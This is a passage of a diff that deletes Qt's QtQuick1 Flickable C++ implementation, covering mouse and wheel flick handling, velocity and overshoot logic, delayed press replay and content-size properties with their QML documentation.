component.createObject(myFlickable.contentItem); - } - } - \endcode -*/ -QDeclarativeItem *QDeclarative1Flickable::contentItem() -{ - Q_D(QDeclarative1Flickable); - return d->contentItem; -} - -QDeclarative1FlickableVisibleArea *QDeclarative1Flickable::visibleArea() -{ - Q_D(QDeclarative1Flickable); - if (!d->visibleArea) - d->visibleArea = new QDeclarative1FlickableVisibleArea(this); - return d->visibleArea; -} - -/*! - \qmlproperty enumeration QtQuick1::Flickable::flickableDirection - - This property determines which directions the view can be flicked. - - \list - \o Flickable.AutoFlickDirection (default) - allows flicking vertically if the - \e contentHeight is not equal to the \e height of the Flickable. - Allows flicking horizontally if the \e contentWidth is not equal - to the \e width of the Flickable. - \o Flickable.HorizontalFlick - allows flicking horizontally. - \o Flickable.VerticalFlick - allows flicking vertically. - \o Flickable.HorizontalAndVerticalFlick - allows flicking in both directions. - \endlist -*/ -QDeclarative1Flickable::FlickableDirection QDeclarative1Flickable::flickableDirection() const -{ - Q_D(const QDeclarative1Flickable); - return d->flickableDirection; -} - -void QDeclarative1Flickable::setFlickableDirection(FlickableDirection direction) -{ - Q_D(QDeclarative1Flickable); - if (direction != d->flickableDirection) { - d->flickableDirection = direction; - emit flickableDirectionChanged(); - } -} - -void QDeclarative1FlickablePrivate::handleMousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1Flickable); - if (interactive && timeline.isActive() - && (qAbs(hData.smoothVelocity.value()) > RetainGrabVelocity || qAbs(vData.smoothVelocity.value()) > RetainGrabVelocity)) - stealMouse = true; // If we've been flicked then steal the click. - else - stealMouse = false; - q->setKeepMouseGrab(stealMouse); - pressed = true; - timeline.clear(); - hData.reset(); - vData.reset(); - hData.dragMinBound = q->minXExtent(); - vData.dragMinBound = q->minYExtent(); - hData.dragMaxBound = q->maxXExtent(); - vData.dragMaxBound = q->maxYExtent(); - fixupMode = Normal; - lastPos = QPoint(); - QDeclarativeItemPrivate::start(lastPosTime); - pressPos = event->pos(); - hData.pressPos = hData.move.value(); - vData.pressPos = vData.move.value(); - hData.flicking = false; - vData.flicking = false; - QDeclarativeItemPrivate::start(pressTime); - QDeclarativeItemPrivate::start(velocityTime); -} - -void QDeclarative1FlickablePrivate::handleMouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1Flickable); - if (!interactive || !lastPosTime.isValid()) - return; - bool rejectY = false; - bool rejectX = false; - - bool stealY = stealMouse; - bool stealX = stealMouse; - - if (q->yflick()) { - int dy = int(event->pos().y() - pressPos.y()); - if (qAbs(dy) > QApplication::startDragDistance() || QDeclarativeItemPrivate::elapsed(pressTime) > 200) { - if (!vMoved) - vData.dragStartOffset = dy; - qreal newY = dy + vData.pressPos - vData.dragStartOffset; - const qreal minY = vData.dragMinBound; - const qreal maxY = vData.dragMaxBound; - if (newY > minY) - newY = minY + (newY - minY) / 2; - if (newY < maxY && maxY - minY <= 0) - newY = maxY + (newY - maxY) / 2; - if (boundsBehavior == QDeclarative1Flickable::StopAtBounds && (newY > minY || newY < maxY)) { - rejectY = true; - if (newY < maxY) { - newY = maxY; - rejectY = false; - } - if (newY > minY) { - newY = minY; - rejectY = false; - } - } - if (!rejectY && stealMouse) { - vData.move.setValue(qRound(newY)); - vMoved = true; - } - if (qAbs(dy) > QApplication::startDragDistance()) - stealY = true; - } - } - - if (q->xflick()) { - int dx = int(event->pos().x() - pressPos.x()); - if (qAbs(dx) > QApplication::startDragDistance() || QDeclarativeItemPrivate::elapsed(pressTime) > 200) { - if (!hMoved) - hData.dragStartOffset = dx; - qreal newX = dx + hData.pressPos - hData.dragStartOffset; - const qreal minX = hData.dragMinBound; - const qreal maxX = hData.dragMaxBound; - if (newX > minX) - newX = minX + (newX - minX) / 2; - if (newX < maxX && maxX - minX <= 0) - newX = maxX + (newX - maxX) / 2; - if (boundsBehavior == QDeclarative1Flickable::StopAtBounds && (newX > minX || newX < maxX)) { - rejectX = true; - if (newX < maxX) { - newX = maxX; - rejectX = false; - } - if (newX > minX) { - newX = minX; - rejectX = false; - } - } - if (!rejectX && stealMouse) { - hData.move.setValue(qRound(newX)); - hMoved = true; - } - - if (qAbs(dx) > QApplication::startDragDistance()) - stealX = true; - } - } - - stealMouse = stealX || stealY; - if (stealMouse) - q->setKeepMouseGrab(true); - - if (rejectY) { - vData.velocityBuffer.clear(); - vData.velocity = 0; - } - if (rejectX) { - hData.velocityBuffer.clear(); - hData.velocity = 0; - } - - if (hMoved || vMoved) { - q->movementStarting(); - q->viewportMoved(); - } - - if (!lastPos.isNull()) { - qreal elapsed = qreal(QDeclarativeItemPrivate::elapsed(lastPosTime)) / 1000.; - if (elapsed <= 0) - return; - QDeclarativeItemPrivate::restart(lastPosTime); - qreal dy = event->pos().y()-lastPos.y(); - if (q->yflick() && !rejectY) - vData.addVelocitySample(dy/elapsed, maxVelocity); - qreal dx = event->pos().x()-lastPos.x(); - if (q->xflick() && !rejectX) - hData.addVelocitySample(dx/elapsed, maxVelocity); - } - - lastPos = event->pos(); -} - -void QDeclarative1FlickablePrivate::handleMouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1Flickable); - stealMouse = false; - q->setKeepMouseGrab(false); - pressed = false; - if (!lastPosTime.isValid()) - return; - - // if we drag then pause before release we should not cause a flick. - qint64 elapsed = QDeclarativeItemPrivate::elapsed(lastPosTime); - - vData.updateVelocity(); - hData.updateVelocity(); - - vTime = timeline.time(); - - qreal velocity = elapsed < 100 ? vData.velocity : 0; - if (vData.atBeginning || vData.atEnd) - velocity /= 2; - if (q->yflick() && qAbs(velocity) > MinimumFlickVelocity && qAbs(event->pos().y() - pressPos.y()) > FlickThreshold) { - velocityTimeline.reset(vData.smoothVelocity); - vData.smoothVelocity.setValue(-velocity); - flickY(velocity); - } else { - fixupY(); - } - - velocity = elapsed < 100 ? hData.velocity : 0; - if (hData.atBeginning || hData.atEnd) - velocity /= 2; - if (q->xflick() && qAbs(velocity) > MinimumFlickVelocity && qAbs(event->pos().x() - pressPos.x()) > FlickThreshold) { - velocityTimeline.reset(hData.smoothVelocity); - hData.smoothVelocity.setValue(-velocity); - flickX(velocity); - } else { - fixupX(); - } - - if (!timeline.isActive()) - q->movementEnding(); -} - -void QDeclarative1Flickable::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Flickable); - if (d->interactive) { - if (!d->pressed) - d->handleMousePressEvent(event); - event->accept(); - } else { - QDeclarativeItem::mousePressEvent(event); - } -} - -void QDeclarative1Flickable::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Flickable); - if (d->interactive) { - d->handleMouseMoveEvent(event); - event->accept(); - } else { - QDeclarativeItem::mouseMoveEvent(event); - } -} - -void QDeclarative1Flickable::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Flickable); - if (d->interactive) { - d->clearDelayedPress(); - d->handleMouseReleaseEvent(event); - event->accept(); - ungrabMouse(); - } else { - QDeclarativeItem::mouseReleaseEvent(event); - } -} - -void QDeclarative1Flickable::wheelEvent(QGraphicsSceneWheelEvent *event) -{ - Q_D(QDeclarative1Flickable); - if (!d->interactive) { - QDeclarativeItem::wheelEvent(event); - } else if (yflick() && event->orientation() == Qt::Vertical) { - bool valid = false; - if (event->delta() > 0 && contentY() > -minYExtent()) { - d->vData.velocity = qMax(event->delta()*2 - d->vData.smoothVelocity.value(), qreal(d->maxVelocity/4)); - valid = true; - } else if (event->delta() < 0 && contentY() < -maxYExtent()) { - d->vData.velocity = qMin(event->delta()*2 - d->vData.smoothVelocity.value(), qreal(-d->maxVelocity/4)); - valid = true; - } - if (valid) { - d->vData.flicking = false; - d->flickY(d->vData.velocity); - if (d->vData.flicking) { - d->vMoved = true; - movementStarting(); - } - event->accept(); - } - } else if (xflick() && event->orientation() == Qt::Horizontal) { - bool valid = false; - if (event->delta() > 0 && contentX() > -minXExtent()) { - d->hData.velocity = qMax(event->delta()*2 - d->hData.smoothVelocity.value(), qreal(d->maxVelocity/4)); - valid = true; - } else if (event->delta() < 0 && contentX() < -maxXExtent()) { - d->hData.velocity = qMin(event->delta()*2 - d->hData.smoothVelocity.value(), qreal(-d->maxVelocity/4)); - valid = true; - } - if (valid) { - d->hData.flicking = false; - d->flickX(d->hData.velocity); - if (d->hData.flicking) { - d->hMoved = true; - movementStarting(); - } - event->accept(); - } - } else { - QDeclarativeItem::wheelEvent(event); - } -} - -bool QDeclarative1FlickablePrivate::isOutermostPressDelay() const -{ - Q_Q(const QDeclarative1Flickable); - QDeclarativeItem *item = q->parentItem(); - while (item) { - QDeclarative1Flickable *flick = qobject_cast(item); - if (flick && flick->pressDelay() > 0 && flick->isInteractive()) - return false; - item = item->parentItem(); - } - - return true; -} - -void QDeclarative1FlickablePrivate::captureDelayedPress(QGraphicsSceneMouseEvent *event) -{ - Q_Q(QDeclarative1Flickable); - if (!q->scene() || pressDelay <= 0) - return; - if (!isOutermostPressDelay()) - return; - delayedPressTarget = q->scene()->mouseGrabberItem(); - delayedPressEvent = new QGraphicsSceneMouseEvent(event->type()); - delayedPressEvent->setAccepted(false); - for (int i = 0x1; i <= 0x10; i <<= 1) { - if (event->buttons() & i) { - Qt::MouseButton button = Qt::MouseButton(i); - delayedPressEvent->setButtonDownPos(button, event->buttonDownPos(button)); - delayedPressEvent->setButtonDownScenePos(button, event->buttonDownScenePos(button)); - delayedPressEvent->setButtonDownScreenPos(button, event->buttonDownScreenPos(button)); - } - } - delayedPressEvent->setButtons(event->buttons()); - delayedPressEvent->setButton(event->button()); - delayedPressEvent->setPos(event->pos()); - delayedPressEvent->setScenePos(event->scenePos()); - delayedPressEvent->setScreenPos(event->screenPos()); - delayedPressEvent->setLastPos(event->lastPos()); - delayedPressEvent->setLastScenePos(event->lastScenePos()); - delayedPressEvent->setLastScreenPos(event->lastScreenPos()); - delayedPressEvent->setModifiers(event->modifiers()); - delayedPressTimer.start(pressDelay, q); -} - -void QDeclarative1FlickablePrivate::clearDelayedPress() -{ - if (delayedPressEvent) { - delayedPressTimer.stop(); - delete delayedPressEvent; - delayedPressEvent = 0; - } -} - -void QDeclarative1FlickablePrivate::setRoundedViewportX(qreal x) -{ - contentItem->setX(qRound(x)); -} - -void QDeclarative1FlickablePrivate::setRoundedViewportY(qreal y) -{ - contentItem->setY(qRound(y)); -} - -void QDeclarative1Flickable::timerEvent(QTimerEvent *event) -{ - Q_D(QDeclarative1Flickable); - if (event->timerId() == d->delayedPressTimer.timerId()) { - d->delayedPressTimer.stop(); - if (d->delayedPressEvent) { - QDeclarativeItem *grabber = scene() ? qobject_cast(scene()->mouseGrabberItem()) : 0; - if (!grabber || grabber != this) { - // We replay the mouse press but the grabber we had might not be interessted by the event (e.g. overlay) - // so we reset the grabber - if (scene()->mouseGrabberItem() == d->delayedPressTarget) - d->delayedPressTarget->ungrabMouse(); - //Use the event handler that will take care of finding the proper item to propagate the event - QApplication::postEvent(scene(), d->delayedPressEvent); - } else { - delete d->delayedPressEvent; - } - d->delayedPressEvent = 0; - } - } -} - -qreal QDeclarative1Flickable::minYExtent() const -{ - return 0.0; -} - -qreal QDeclarative1Flickable::minXExtent() const -{ - return 0.0; -} - -/* returns -ve */ -qreal QDeclarative1Flickable::maxXExtent() const -{ - return width() - vWidth(); -} -/* returns -ve */ -qreal QDeclarative1Flickable::maxYExtent() const -{ - return height() - vHeight(); -} - -void QDeclarative1Flickable::viewportMoved() -{ - Q_D(QDeclarative1Flickable); - - qreal prevX = d->lastFlickablePosition.x(); - qreal prevY = d->lastFlickablePosition.y(); - if (d->pressed || d->calcVelocity) { - int elapsed = QDeclarativeItemPrivate::restart(d->velocityTime); - if (elapsed > 0) { - qreal horizontalVelocity = (prevX - d->hData.move.value()) * 1000 / elapsed; - if (qAbs(horizontalVelocity) > 0) { - d->velocityTimeline.reset(d->hData.smoothVelocity); - d->velocityTimeline.move(d->hData.smoothVelocity, horizontalVelocity, d->reportedVelocitySmoothing); - d->velocityTimeline.move(d->hData.smoothVelocity, 0, d->reportedVelocitySmoothing); - } - qreal verticalVelocity = (prevY - d->vData.move.value()) * 1000 / elapsed; - if (qAbs(verticalVelocity) > 0) { - d->velocityTimeline.reset(d->vData.smoothVelocity); - d->velocityTimeline.move(d->vData.smoothVelocity, verticalVelocity, d->reportedVelocitySmoothing); - d->velocityTimeline.move(d->vData.smoothVelocity, 0, d->reportedVelocitySmoothing); - } - } - } else { - if (d->timeline.time() > d->vTime) { - d->velocityTimeline.clear(); - qreal horizontalVelocity = (prevX - d->hData.move.value()) * 1000 / (d->timeline.time() - d->vTime); - qreal verticalVelocity = (prevY - d->vData.move.value()) * 1000 / (d->timeline.time() - d->vTime); - d->hData.smoothVelocity.setValue(horizontalVelocity); - d->vData.smoothVelocity.setValue(verticalVelocity); - } - } - - if (!d->vData.inOvershoot && !d->vData.fixingUp && d->vData.flicking - && (d->vData.move.value() > minYExtent() || d->vData.move.value() < maxYExtent()) - && qAbs(d->vData.smoothVelocity.value()) > 100) { - // Increase deceleration if we've passed a bound - d->vData.inOvershoot = true; - qreal maxDistance = d->overShootDistance(height()); - d->timeline.reset(d->vData.move); - d->timeline.accel(d->vData.move, -d->vData.smoothVelocity.value(), d->deceleration*QML_FLICK_OVERSHOOTFRICTION, maxDistance); - d->timeline.callback(QDeclarative1TimeLineCallback(&d->vData.move, d->fixupY_callback, d)); - } - if (!d->hData.inOvershoot && !d->hData.fixingUp && d->hData.flicking - && (d->hData.move.value() > minXExtent() || d->hData.move.value() < maxXExtent()) - && qAbs(d->hData.smoothVelocity.value()) > 100) { - // Increase deceleration if we've passed a bound - d->hData.inOvershoot = true; - qreal maxDistance = d->overShootDistance(width()); - d->timeline.reset(d->hData.move); - d->timeline.accel(d->hData.move, -d->hData.smoothVelocity.value(), d->deceleration*QML_FLICK_OVERSHOOTFRICTION, maxDistance); - d->timeline.callback(QDeclarative1TimeLineCallback(&d->hData.move, d->fixupX_callback, d)); - } - - d->lastFlickablePosition = QPointF(d->hData.move.value(), d->vData.move.value()); - - d->vTime = d->timeline.time(); - d->updateBeginningEnd(); -} - -void QDeclarative1Flickable::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - Q_D(QDeclarative1Flickable); - QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); - - bool changed = false; - if (newGeometry.width() != oldGeometry.width()) { - if (xflick()) - changed = true; - if (d->hData.viewSize < 0) { - d->contentItem->setWidth(width()); - emit contentWidthChanged(); - } - // Make sure that we're entirely in view. - if (!d->pressed && !d->hData.moving && !d->vData.moving) { - d->fixupMode = QDeclarative1FlickablePrivate::Immediate; - d->fixupX(); - } - } - if (newGeometry.height() != oldGeometry.height()) { - if (yflick()) - changed = true; - if (d->vData.viewSize < 0) { - d->contentItem->setHeight(height()); - emit contentHeightChanged(); - } - // Make sure that we're entirely in view. - if (!d->pressed && !d->hData.moving && !d->vData.moving) { - d->fixupMode = QDeclarative1FlickablePrivate::Immediate; - d->fixupY(); - } - } - - if (changed) - d->updateBeginningEnd(); -} - -void QDeclarative1Flickable::cancelFlick() -{ - Q_D(QDeclarative1Flickable); - d->timeline.reset(d->hData.move); - d->timeline.reset(d->vData.move); - movementEnding(); -} - -void QDeclarative1FlickablePrivate::data_append(QDeclarativeListProperty *prop, QObject *o) -{ - QGraphicsObject *i = qobject_cast(o); - if (i) { - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(i); - if (static_cast(d)->componentComplete) { - i->setParentItem(static_cast(prop->data)->contentItem); - } else { - d->setParentItemHelper(static_cast(prop->data)->contentItem, 0, 0); - } - } else { - o->setParent(prop->object); - } -} - -int QDeclarative1FlickablePrivate::data_count(QDeclarativeListProperty *property) -{ - QDeclarativeItem *contentItem= static_cast(property->data)->contentItem; - return contentItem->childItems().count() + contentItem->children().count(); -} - -QObject *QDeclarative1FlickablePrivate::data_at(QDeclarativeListProperty *property, int index) -{ - QDeclarativeItem *contentItem = static_cast(property->data)->contentItem; - - int childItemCount = contentItem->childItems().count(); - - if (index < 0) - return 0; - - if (index < childItemCount) { - return contentItem->childItems().at(index)->toGraphicsObject(); - } else { - return contentItem->children().at(index - childItemCount); - } - - return 0; -} - -void QDeclarative1FlickablePrivate::data_clear(QDeclarativeListProperty *property) -{ - QDeclarativeItem *contentItem = static_cast(property->data)->contentItem; - - const QList graphicsItems = contentItem->childItems(); - for (int i = 0; i < graphicsItems.count(); i++) - contentItem->scene()->removeItem(graphicsItems[i]); - - const QList objects = contentItem->children(); - for (int i = 0; i < objects.count(); i++) - objects[i]->setParent(0); -} - -QDeclarativeListProperty QDeclarative1Flickable::flickableData() -{ - Q_D(QDeclarative1Flickable); - return QDeclarativeListProperty(this, (void *)d, QDeclarative1FlickablePrivate::data_append, - QDeclarative1FlickablePrivate::data_count, - QDeclarative1FlickablePrivate::data_at, - QDeclarative1FlickablePrivate::data_clear); -} - -QDeclarativeListProperty QDeclarative1Flickable::flickableChildren() -{ - Q_D(QDeclarative1Flickable); - return QGraphicsItemPrivate::get(d->contentItem)->childrenList(); -} - -/*! - \qmlproperty enumeration QtQuick1::Flickable::boundsBehavior - This property holds whether the surface may be dragged - beyond the Fickable's boundaries, or overshoot the - Flickable's boundaries when flicked. - - This enables the feeling that the edges of the view are soft, - rather than a hard physical boundary. - - The \c boundsBehavior can be one of: - - \list - \o Flickable.StopAtBounds - the contents can not be dragged beyond the boundary - of the flickable, and flicks will not overshoot. - \o Flickable.DragOverBounds - the contents can be dragged beyond the boundary - of the Flickable, but flicks will not overshoot. - \o Flickable.DragAndOvershootBounds (default) - the contents can be dragged - beyond the boundary of the Flickable, and can overshoot the - boundary when flicked. - \endlist -*/ -QDeclarative1Flickable::BoundsBehavior QDeclarative1Flickable::boundsBehavior() const -{ - Q_D(const QDeclarative1Flickable); - return d->boundsBehavior; -} - -void QDeclarative1Flickable::setBoundsBehavior(BoundsBehavior b) -{ - Q_D(QDeclarative1Flickable); - if (b == d->boundsBehavior) - return; - d->boundsBehavior = b; - emit boundsBehaviorChanged(); -} - -/*! - \qmlproperty real QtQuick1::Flickable::contentWidth - \qmlproperty real QtQuick1::Flickable::contentHeight - - The dimensions of the content (the surface controlled by Flickable). - This should typically be set to the combined size of the items placed in the - Flickable. - - The following snippet shows how these properties are used to display - an image that is larger than the Flickable item itself: - - \snippet doc/src/snippets/qtquick1/flickable.qml document - - In some cases, the the content dimensions can be automatically set - using the \l {Item::childrenRect.width}{childrenRect.width} - and \l {Item::childrenRect.height}{childrenRect.height} properties. -*/ -qreal QDeclarative1Flickable::contentWidth() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.viewSize; -} - -void QDeclarative1Flickable::setContentWidth(qreal w) -{ - Q_D(QDeclarative1Flickable); - if (d->hData.viewSize == w) - return; - d->hData.viewSize = w; - if (w < 0) - d->contentItem->setWidth(width()); - else - d->contentItem->setWidth(w); - // Make sure that we're entirely in view. - if (!d->pressed && !d->hData.moving && !d->vData.moving) { - d->fixupMode = QDeclarative1FlickablePrivate::Immediate; - d->fixupX(); - } else if (!d->pressed && d->hData.fixingUp) { - d->fixupMode = QDeclarative1FlickablePrivate::ExtentChanged; - d->fixupX(); - } - emit contentWidthChanged(); - d->updateBeginningEnd(); -} - -qreal QDeclarative1Flickable::contentHeight() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.viewSize; -} - -void QDeclarative1Flickable::setContentHeight(qreal h) -{ - Q_D(QDeclarative1Flickable); - if (d->vData.viewSize == h) - return; - d->vData.viewSize = h; - if (h < 0) - d->contentItem->setHeight(height()); - else - d->contentItem->setHeight(h); - // Make sure that we're entirely in view. - if (!d->pressed && !d->hData.moving && !d->vData.moving) { - d->fixupMode = QDeclarative1FlickablePrivate::Immediate; - d->fixupY(); - } else if (!d->pressed && d->vData.fixingUp) { - d->fixupMode = QDeclarative1FlickablePrivate::ExtentChanged; - d->fixupY(); - } - emit contentHeightChanged(); - d->updateBeginningEnd(); -} - -/*! - \qmlmethod QtQuick1::Flickable::resizeContent(real width, real height, QPointF center) - \preliminary - \since Quick 1.1 - - Resizes the content to \a width x \a height about \a center. - - This does not scale the contents of the Flickable - it only resizes the \l contentWidth - and \l contentHeight. - - Resizing the content may result in the content being positioned outside - the bounds of the Flickable. Calling \l returnToBounds() will - move the content back within legal bounds. -*/ -void QDeclarative1Flickable::resizeContent(qreal w, qreal h, QPointF center) -{ - Q_D(QDeclarative1Flickable); - if (w != d->hData.viewSize) { - qreal oldSize = d->hData.viewSize; - d->hData.viewSize = w; - d->contentItem->setWidth(w); - emit contentWidthChanged(); - if (center.x() != 0) { - qreal pos = center.x() * w / oldSize; - setContentX(contentX() + pos - center.x()); - } - } - if (h != d->vData.viewSize) { - qreal oldSize = d->vData.viewSize; - d->vData.viewSize = h; - d->contentItem->setHeight(h); - emit contentHeightChanged(); - if (center.y() != 0) { - qreal pos = center.y() * h / oldSize; - setContentY(contentY() + pos - center.y()); - } - } - d->updateBeginningEnd(); -} - -/*! - \qmlmethod QtQuick1::Flickable::returnToBounds() - \preliminary - \since Quick 1.1 - - Ensures the content is within legal bounds. - - This may be called to ensure that the content is within legal bounds - after manually positioning the content. -*/ -void QDeclarative1Flickable::returnToBounds() -{ - Q_D(QDeclarative1Flickable); - d->fixupX(); - d->fixupY(); -} - -qreal QDeclarative1Flickable::vWidth() const -{ - Q_D(const QDeclarative1Flickable); - if (d->hData.viewSize < 0) - return width(); - else - return d->hData.viewSize; -} - -qreal QDeclarative1Flickable::vHeight() const -{ - Q_D(const QDeclarative1Flickable); - if (d->vData.viewSize < 0) - return height(); - else - return d->vData.viewSize; -} - -bool QDeclarative1Flickable::xflick() const -{ - Q_D(const QDeclarative1Flickable); - if (d->flickableDirection == QDeclarative1Flickable::AutoFlickDirection) - return vWidth() != width(); - return d->flickableDirection & QDeclarative1Flickable::HorizontalFlick; -} - -bool QDeclarative1Flickable::yflick() const -{ - Q_D(const QDeclarative1Flickable); - if (d->flickableDirection == QDeclarative1Flickable::AutoFlickDirection) - return vHeight() != height(); - return d->flickableDirection & QDeclarative1Flickable::VerticalFlick; -} - -bool QDeclarative1Flickable::sceneEvent(QEvent *event) -{ - bool rv = QDeclarativeItem::sceneEvent(event); - if (event->type() == QEvent::UngrabMouse) { - Q_D(QDeclarative1Flickable); - if (d->pressed) { - // if our mouse grab has been removed (probably by another Flickable), - // fix our state - d->pressed = false; - d->stealMouse = false; - setKeepMouseGrab(false); - } - } - return rv; -} - -bool QDeclarative1Flickable::sendMouseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1Flickable); - QGraphicsSceneMouseEvent mouseEvent(event->type()); - QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); - - QGraphicsScene *s = scene(); - QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; - QGraphicsItem *grabberItem = s ? s->mouseGrabberItem() : 0; - bool disabledItem = grabberItem && !grabberItem->isEnabled(); - bool stealThisEvent = d->stealMouse; - if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab() || disabledItem)) { - mouseEvent.setAccepted(false); - for (int i = 0x1; i <= 0x10; i <<= 1) { - if (event->buttons() & i) { - Qt::MouseButton button = Qt::MouseButton(i); - mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); - } - } - mouseEvent.setScenePos(event->scenePos()); - mouseEvent.setLastScenePos(event->lastScenePos()); - mouseEvent.setPos(mapFromScene(event->scenePos())); - mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); - - switch(mouseEvent.type()) { - case QEvent::GraphicsSceneMouseMove: - d->handleMouseMoveEvent(&mouseEvent); - break; - case QEvent::GraphicsSceneMousePress: - if (d->pressed) // we are already pressed - this is a delayed replay - return false; - - d->handleMousePressEvent(&mouseEvent); - d->captureDelayedPress(event); - stealThisEvent = d->stealMouse; // Update stealThisEvent in case changed by function call above - break; - case QEvent::GraphicsSceneMouseRelease: - if (d->delayedPressEvent) { - // We replay the mouse press but the grabber we had might not be interessted by the event (e.g. overlay) - // so we reset the grabber - if (s->mouseGrabberItem() == d->delayedPressTarget) - d->delayedPressTarget->ungrabMouse(); - //Use the event handler that will take care of finding the proper item to propagate the event - QApplication::sendEvent(scene(), d->delayedPressEvent); - d->clearDelayedPress(); - // We send the release - scene()->sendEvent(s->mouseGrabberItem(), event); - // And the event has been consumed - d->stealMouse = false; - d->pressed = false; - return true; - } - d->handleMouseReleaseEvent(&mouseEvent); - break; - default: - break; - } - grabber = qobject_cast(s->mouseGrabberItem()); - if ((grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) || disabledItem) { - d->clearDelayedPress(); - grabMouse(); - } - - return stealThisEvent || d->delayedPressEvent || disabledItem; - } else if (d->lastPosTime.isValid()) { - d->lastPosTime.invalidate(); - returnToBounds(); - } - if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) { - d->clearDelayedPress(); - d->stealMouse = false; - d->pressed = false; - } - - return false; -} - -bool QDeclarative1Flickable::sceneEventFilter(QGraphicsItem *i, QEvent *e) -{ - Q_D(QDeclarative1Flickable); - if (!isVisible() || !d->interactive || !isEnabled()) - return QDeclarativeItem::sceneEventFilter(i, e); - switch (e->type()) { - case QEvent::GraphicsSceneMousePress: - case QEvent::GraphicsSceneMouseMove: - case QEvent::GraphicsSceneMouseRelease: - return sendMouseEvent(static_cast(e)); - default: - break; - } - - return QDeclarativeItem::sceneEventFilter(i, e); -} - -/*! - \qmlproperty real QtQuick1::Flickable::maximumFlickVelocity - This property holds the maximum velocity that the user can flick the view in pixels/second. - - The default value is platform dependent. -*/ -qreal QDeclarative1Flickable::maximumFlickVelocity() const -{ - Q_D(const QDeclarative1Flickable); - return d->maxVelocity; -} - -void QDeclarative1Flickable::setMaximumFlickVelocity(qreal v) -{ - Q_D(QDeclarative1Flickable); - if (v == d->maxVelocity) - return; - d->maxVelocity = v; - emit maximumFlickVelocityChanged(); -} - -/*! - \qmlproperty real QtQuick1::Flickable::flickDeceleration - This property holds the rate at which a flick will decelerate. - - The default value is platform dependent. -*/ -qreal QDeclarative1Flickable::flickDeceleration() const -{ - Q_D(const QDeclarative1Flickable); - return d->deceleration; -} - -void QDeclarative1Flickable::setFlickDeceleration(qreal deceleration) -{ - Q_D(QDeclarative1Flickable); - if (deceleration == d->deceleration) - return; - d->deceleration = deceleration; - emit flickDecelerationChanged(); -} - -bool QDeclarative1Flickable::isFlicking() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.flicking || d->vData.flicking; -} - -/*! - \qmlproperty bool QtQuick1::Flickable::flicking - \qmlproperty bool QtQuick1::Flickable::flickingHorizontally - \qmlproperty bool QtQuick1::Flickable::flickingVertically - - These properties describe whether the view is currently moving horizontally, - vertically or in either direction, due to the user flicking the view. -*/ -bool QDeclarative1Flickable::isFlickingHorizontally() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.flicking; -} - -bool QDeclarative1Flickable::isFlickingVertically() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.flicking; -} - -/*! - \qmlproperty int QtQuick1::Flickable::pressDelay - - This property holds the time to delay (ms) delivering a press to - children of the Flickable. This can be useful where reacting - to a press before a flicking action has undesirable effects. - - If the flickable is dragged/flicked before the delay times out - the press event will not be delivered. If the button is released - within the timeout, both the press and release will be delivered. - - Note that for nested Flickables with pressDelay set, the pressDelay of - inner Flickables is overridden by the outermost Flickable. -*/ -int QDeclarative1Flickable::pressDelay() const -{ - Q_D(const QDeclarative1Flickable); - return d->pressDelay; -} - -void QDeclarative1Flickable::setPressDelay(int delay) -{ - Q_D(QDeclarative1Flickable); - if (d->pressDelay == delay) - return; - d->pressDelay = delay; - emit pressDelayChanged(); -} - - -bool QDeclarative1Flickable::isMoving() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.moving || d->vData.moving; -} - -/*! - \qmlproperty bool QtQuick1::Flickable::moving - \qmlproperty bool QtQuick1::Flickable::movingHorizontally - \qmlproperty bool QtQuick1::Flickable::movingVertically - - These properties describe whether the view is currently moving horizontally, - vertically or in either direction, due to the user either dragging or - flicking the view. -*/ -bool QDeclarative1Flickable::isMovingHorizontally() const -{ - Q_D(const QDeclarative1Flickable); - return d->hData.moving; -} - -bool QDeclarative1Flickable::isMovingVertically() const -{ - Q_D(const QDeclarative1Flickable); - return d->vData.moving; -} - -void QDeclarative1Flickable::movementStarting() -{ - Q_D(QDeclarative1Flickable); - if (d->hMoved && !d->hData.moving) { - d->hData.moving = true; - emit movingChanged(); - emit movingHorizontallyChanged(); - if (!d->vData.moving) - emit movementStarted(); - } - else if (d->vMoved && !d->vData.moving) { - d->vData.moving = true; - emit movingChanged(); - emit movingVerticallyChanged(); - if (!d->hData.moving) - emit movementStarted(); - } -} - -void QDeclarative1Flickable::movementEnding() -{ - Q_D(QDeclarative1Flickable); - movementXEnding(); - movementYEnding(); - d->hData.smoothVelocity.setValue(0); - d->vData.smoothVelocity.setValue(0); -} - -void QDeclarative1Flickable::movementXEnding() -{ - Q_D(QDeclarative1Flickable); - if (d->hData.flicking) { - d->hData.flicking = false; - emit flickingChanged(); - emit flickingHorizontallyChanged(); - if (!d->vData.flicking) - emit flickEnded(); - } - if (!d->pressed && !d->stealMouse) { - if (d->hData.moving) { - d->hData.moving = false; - d->hMoved = false; - emit movingChanged(); - emit movingHorizontallyChanged(); - if (!d->vData.moving) - emit movementEnded(); - } - } - d->hData.fixingUp = false; -} - -void QDeclarative1Flickable::movementYEnding() -{ - Q_D(QDeclarative1Flickable); - if (d->vData.flicking) { - d->vData.flicking = false; - emit flickingChanged(); - emit flickingVerticallyChanged(); - if 